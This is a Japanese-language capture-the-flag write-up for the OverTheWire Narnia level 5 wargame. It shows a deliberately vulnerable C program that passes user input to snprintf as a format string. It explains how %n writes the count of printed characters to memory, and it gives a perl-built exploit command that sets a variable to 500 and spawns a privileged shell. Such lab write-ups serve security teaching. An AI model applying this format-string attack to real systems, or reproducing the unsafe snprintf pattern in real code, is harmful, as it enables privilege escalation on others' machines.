OverTheWire:Narnia5
narnia5 で ssh 接続。
ssh narnia4@narnia.labs.overthewire.org -p 2226
今回のお題(narnia5.c )はこちら。
argv[1]の入力を工夫して、変数 i の値を 500 に書き換えればシェルを起動してくれる、というもの。
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
snprintf(buffer, sizeof buffer, argv[1]); の部分がこのプログラムの脆弱性である。buffer に "%p や %n " などの書式指定文字列を入力することで、「argv[1]から64バイト buffer にコピーする」という本来の意図とは違う動作を引き起こしてしまう。
というわけで、書式指定文字列をうまく入力して、変数 i が格納されたメモリの内容を書き換えることを考える。
printf() の書式指定文字列には %n があり、出力した文字数を指定したメモリアドレスに書き込んでくれる。
つまり [変数 i のアドレス(4バイト) ] + "%n" を入力すれば、変数 i は 4になるはず。。
実際にやってみると予想通り、変数 i を 4 に書き換えることができた。
同じ要領で [ 先頭に何文字か表示+変数iのアドレス] + "%n" を入力すれば、変数 i を 500に書き換えることができる。
少し考えて、下記のようなコマンドを入力するとうまくいった。"AAAA"はダミーで %n の手前に何文字か表示させるために必要になる。
<コマンド>
/narnia/narnia5 $(perl -e 'print "AAAA" . "\xd0\xd6\xff\xff%492x%n"')
これで次のステージのパスワードを読むことができる。
というわけで、次のステージへ。。